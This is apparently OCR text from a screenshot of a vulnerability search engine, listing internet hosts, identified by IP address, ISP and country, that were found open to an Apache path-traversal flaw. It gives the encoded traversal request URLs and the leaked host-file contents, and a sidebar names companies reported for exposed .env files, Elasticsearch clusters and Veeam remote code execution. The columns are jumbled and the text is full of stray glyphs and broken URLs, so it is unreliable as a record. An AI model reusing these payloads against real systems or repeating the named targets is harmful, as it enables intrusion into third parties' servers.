Found 13656 results for +plugin: "TraversalHttpPlugin" -plugin: "PhpStdinPlugin" -plugin: "ElasticSearchOpenPlugin" -plugin: "DotEnvHttpPlugin"		27.104.0.136 critical ASN: 4773 2 events in 7 days	Found host file 127.0.0.1	Singapore II MobileOne Ltd. Mobile/Internet Service Provider Singapore 2022-05-26 02:19 2022-06-02 21:07 # 04d02d00004d04d04c04d02d04d04d9674c6b4e623ae36cc2d998e99e2262e ac4d53c4832b2491c591c07df231d2bcf231d2bc8117f206b4436c27bb738a48 thtps://27.104.0.136/cgi-bin/.%2e/%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%
Countries		Open ports: 443	# the following ::1 ip6-loc	g lines are desirable for ipv6 capable hosts calhost
<mark>ତ୍ତ୍ </mark>	4414	Found by TraversalHttpPlugin		🖺 Create report
<mark>ତ୍ ଠ୍</mark> France	1550			
<mark>ତ୍ୱ ପ୍</mark> Italy	1395	35.216.233.45		📑 United States 🎚 Google LLC 🚔 2021-10-13 04:01 � 2022-06-02 20:58
<mark>ତ୍ ପ୍</mark> Netherlands	1350	critical		# 29d3fd00029d29d21c42d43d00041d43b5a9775734db2f552266a86e2644e2
<mark>ତ୍ୱ ର୍</mark> Germany	553		1	Ittps://35.216.233.45/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e
<mark>ତ୍ୱ ପ୍</mark> ଟ Japan	374	ASN: 19527	Found host file	e trough Directory traversal:
<mark>ତ୍ତ୍</mark> ପ୍ Ireland	343	29 events in 232 days Open ports: 443,80	::1	localhost ip6-localhost ip6-loopback
<mark>ତ୍ତ୍ </mark>	307	Certificate domains:	ff02::1 ff02::2	ip6-allnodes ip6-allr
<mark>ତ୍ ତ୍</mark> Brazil	282	Found by Apache2449TraversalPlugin	TraversalHttpPlugin	Create report
<mark>ତ୍ତ୍ </mark>	267			🖹 Hide result
Sources		18.188.206.36		■ United States II Amazon.com, Inc.
<mark>ତ୍ତ୍ ପ୍</mark> TraversalHttpPlugin	13656	critical		ac4d53c4832b2491c591c07d014c9c7275fe7ce875fe7ce875fe7ce889d22c7d fd http://18.188.206.36-8080/cgi-hin/%2e/%2e/%2e/%2e/%2e/%2e/%2e/%2e/%2e/%2e

Join the community !!!

Integri Services / Veeam Backup & Replication Remote code execution	Reported by 🙀 BloodyShell
Salutemobile / Exposure of public .env file	Reported by 🚇 T88s3X0HaW
Salute Mobile / Exposure of public .env file closed critical	Reported by 🚇 T88s3X0HaW
BMWGroup / Elasticsearch logging cluster exposed closed critical	Reported by 🚯 Deleted user
tosket-coin / Sensetive information disclosure closed high	Reported by 🔒 Havex
reenergys / Your asset is vulnerable to CVE-2017-9841 closed high	Reported by 違 cristi
swtorrhg / Source leak through exposed git directory closed medium	Reported by 😹 toktha
Probyteconsulting.be / Veeam Backup & Replication Remote code execution	Reported by 🙀 BloodyShell
Megabyte.be / Veeam Backup & Replication Remote code execution	Reported by 🛞 BloodyShell
Bitstop Inc / Veeam Backup & Replication Remote code execution in Bitstop Inc assets Closed Critical	Reported by 👔 iampritam